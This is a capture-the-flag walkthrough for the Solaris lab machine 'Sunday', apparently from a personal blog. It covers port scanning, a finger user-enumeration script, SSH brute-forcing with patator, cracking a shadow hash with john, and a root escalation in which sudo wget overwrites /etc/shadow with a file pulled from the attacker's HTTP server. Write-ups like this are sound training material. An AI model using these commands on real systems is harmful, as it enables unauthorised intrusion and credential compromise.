After quite a while, this is another write for a Hack The Box machine. This time for “Sunday”, a relatively easy machine based on Solaris. Never worked with this OS before, so I was keen to see what I would find.
Enumeration
Port scan
To start, we quickly scan the ports of the box.
An initial scan with high rate using masscan
takes only a few seconds and
reveals a few open ports:
$ masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.76
...
Discovered open port 111/tcp on 10.10.10.76
Discovered open port 42492/tcp on 10.10.10.76
Discovered open port 62177/tcp on 10.10.10.76
Discovered open port 22022/tcp on 10.10.10.76
Discovered open port 79/tcp on 10.10.10.76
...
Had we scanned with nmap
initially, we would either miss the high
non-standard ports or the scan would take very long. masscan
is much faster.
Only for all open ports we follow up with a more thorough nmap
scan:
$ nmap -sV -sC -p 111,42492,62177,22022,79 10.10.10.76
...
PORT STATE SERVICE VERSION
79/tcp open finger Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp open rpcbind 2-4 (RPC #100000)
Connection closed by foreign host.
22022/tcp open ssh SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
42492/tcp open unknown
62177/tcp open smserverd 1 (RPC #100155)
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
...
We find a Solaris machine, as promised by the HackTheBox machine list. We also see a few interesting services like finger and rcpbind, which suggests there might be NFS shares. An SSH daemon is running on a non-standard port as well. Moreover, we have a few higher-region ports with services I do not know too much about.
fingerd
Finger is very easy to enumerate, so we go for that one first. First some background. finger is an ancient network protocol that allows remote users to get information about users of a machine. It has a history of being related to security issues (e.g., Morris worm in 1988) and allows enumeration of system users with word lists.
To query information, use the finger
tool, which is the client for fingerd
.
Give it a username and host and it will either output information if that user
exists, or “???” if it does not:
$ finger -ls [email protected]
Login name: root In real life: Super-User
Directory: /root Shell: /usr/bin/bash
Last login Thu Sep 13 20:42 on pts/3 from sunday
Mail last read Thu Sep 13 20:45:34 2018
No Plan.
$ finger -ls [email protected]
Login name: non-existing-user In real life: ???
The same can be achieved without finger
just by using plain old telnet
:
$ telnet 10.10.10.76 79
Trying 10.10.10.76...
Connected to 10.10.10.76.
Escape character is '^]'.
root
Login Name TTY Idle When Where
root Super-User pts/3 <Apr 24 10:37> sunday
$ telnet 10.10.10.76 79
Trying 10.10.10.76...
Connected to 10.10.10.76.
Escape character is '^]'.
non-existing-user
Login Name TTY Idle When Where
non-existing-user ???
Connection closed by foreign host.
Some information on users that should exist on the box by default can be found in the Oracle Solaris documentation.
To find other users, we can enumerate finger with a username wordlist. A good list is in SecLists at Usernames/Names/names.txt. It has about 10k lines. A short Bash script will do the trick:
#!/bin/bash
wordlist=/opt/SecLists/Usernames/Names/names.txt
while read user; do
if [ "$user" == "" ]; then
continue
fi
result=`finger [email protected]`
if [[ ! $result =~ ^.*\?\?\?.*$ ]]; then
echo "### --- ###"
echo "User found: $user"
echo " --- Details:"
echo $result
echo ""
fi
done < $wordlist
Note that fingerd
does not return information only on the user you request.
Rather, it will do some sort of full text search in the user information. For
example, it will return information on “nobody4” when querying for “user” since
the real name of “nobody4” is “SunOS 4.x NFS Anonymous Access User”. You could
disable this behaviour with a flag, but ouch chances of discovering users would
only get lower.
The script runs for a while and provides us with two interesting usernames:
$ ./finger_enum.sh
...
### --- ###
User found: sammy
--- Details:
Login Name TTY Idle When Where sammy sammy pts/3 <Sep 13 20:40> 10.10.15.130
...
### --- ###
User found: sunny
--- Details:
Login Name TTY Idle When Where sunny sunny pts/3 <Apr 24 10:48> 10.10.14.4
...
Breaking in
SSH password guessing
Knowing some usernames, we can go on trying to log into the system. For each user, try a few obvious things related to the sun or to Sunday. My short list of passwords was:
admin
password
123456
sunny
sun
sunshine
sunlight
sunday
monday
tuesday
wednesday
thursday
friday
saturday
weekend
Putting usernames into a file “usernames.txt” and the list above into “passwords.txt”, we can brute force our way in. You could try brute-forcing SSH with Hydra, but for some reason it does not work. After some desperate hours, I’ve discovered patator and like to use it since then, since it feels more reliable. It can be used on many different services including SSH and is very easy to use. Getting into SSH on this box works like so:
$ ./patator.py ssh_login host=10.10.10.76 port=22022 user=FILE0 0=/htb/sunday/usernames.txt password=FILE1 1=/htb/sunday/passwords.txt
13:40:08 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2018-09-15 13:40 EDT
13:40:08 patator INFO -
13:40:08 patator INFO - code size time | candidate | num | mesg
13:40:08 patator INFO - -----------------------------------------------------------------------------
...
13:40:10 patator INFO - 1 22 0.164 | sunny:weekend | 15 | Authentication failed.
13:40:11 patator INFO - 0 19 0.301 | sunny:sunday | 8 | SSH-2.0-Sun_SSH_1.3
13:40:11 patator INFO - 1 22 0.264 | sunny:sunlight | 7 | Authentication failed.
...
13:40:13 patator INFO - Hits/Done/Skip/Fail/Size: 30/30/0/0/30, Avg: 5 r/s, Time: 0h 0m 5s
All requests return “Authentication failed.” except for credentials “sunny” / “sunday”, which give “SSH-2.0-Sun_SSH_1.3”. This means we found valid login credentials.
From sunny to sammy
We can use our newly found credentials to log in via SSH:
$ ssh -p 22022 [email protected]
Password:
Last login: Wed Sep 12 20:57:00 2018 from 10.10.15.130
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sunny@sunday:~$
Starting from here, we could proceed with any of the standard Linux privilege escalation scripts. It would likely break for some parts though since Solaris is not exactly like Linux, which is why I proceeded with poking around manually to start.
Rabbit hole
An easy thing to find is that sunny has sudo execution rights on “/root/troll”:
sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
(root) NOPASSWD: /root/troll
sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)
It seems to just print “testing” and then run id
. I did not investigate
further as the name suggests we won’t find anything useful.
Cracking sammy’s password
Instead, look around further and you find a strange folder “/backup” with a file named “shadow.backup” inside. The content looks like it really is a backup of “/etc/shadow”:
sunny@sunday:/$ cat /backup/shadow.backup
...
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
There are two SHA256 password hashes for users sammy and sunny. We know they are SHA256 hashes as they start with “$5$” (check this page for how to read shadow files). Assuming the file contains the current passwords, the one for “sunny” should be “sunday”. We can verify that by regenerating sunny’s password hash with the salt “iRMbpnBv” found in the backed-up shadow file:
$ mkpasswd -m sha-256 -S iRMbpnBv sunday
$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3
They match. Let’s crack sammy’s password and hope that it is also still in use. Put the password hash “$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB” into a file “sammy-hash.txt” and run (jumbo)john against the “rockyou” wordlist:
$ john ./sammy-hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 128/128 AVX 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cooldude! (?)
...
It discovers the format automatically and returns the password after a short time. The password is “cooldude!”
From sammy to root
With out new credentials “sammy” / “cooldude!”, we can open a new SSH session. Remember that sunny was able to run sudo? What about sammy?
sammy@sunday:~$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget
This is a lot more interesting that the “troll” thing. With wget -O
we can
download a file and specify a location to write it to. As root, we can
overwrite pretty much any configuration file. Thus, lot’s of different ways to
get into root exist from here. You could overwrite wget
with bash
, then run
it as sammy with sudo. You could overwrite the “/etc/sudoers” file to add new
permissions (TODO: possible wihtout restart?). You could overwrite “/etc/shadow” with a root password you know.
Probably many more ways exist.
To not destroy the experience of other players, use a non-destructive method. I just prepended a line to the backup of “etc/shadow” to reuse the password “sunday” of sunny for root:
root:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
Serve this file with python -m SimpleHTTPServer 8000
and then download it
with sudo as sammy:
sammy@sunday:~$ sudo wget -O /etc/shadow http://10.10.15.130:8000/shadow
--17:31:08-- http://10.10.15.130:8000/shadow
=> `/etc/shadow'
Connecting to 10.10.15.130:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 392 [application/octet-stream]
100%[==================================================================================================================>] 392 --.--K/s
17:31:08 (60.37 MB/s) - `/etc/shadow' saved [392/392]
Now, a simple su -
followed by password “sunday” is enough to become root.
Conclusion
Very nice box with a few brute-forcing challenges and a basic privesc. Nice to see an old-school OS, feels very retro :)
Other write-ups for this box:
- ippsec video on YouTube.
- Collection of various write-ups, accessible only with the flag: GitHub
- Alternative and probably unintended privesc here. For some reason, user “sammy” seems to have a “root” role assinged in “/etc/user_attr” and you can use a tool named pfexec to run commands with these privileges.
- Alternative way to use
wget
to for privesc but just to extract the flag here. It seemswget
can not just retrieve content but also POST files to your own web server, so combined with sudo you can just send the flag to yourself.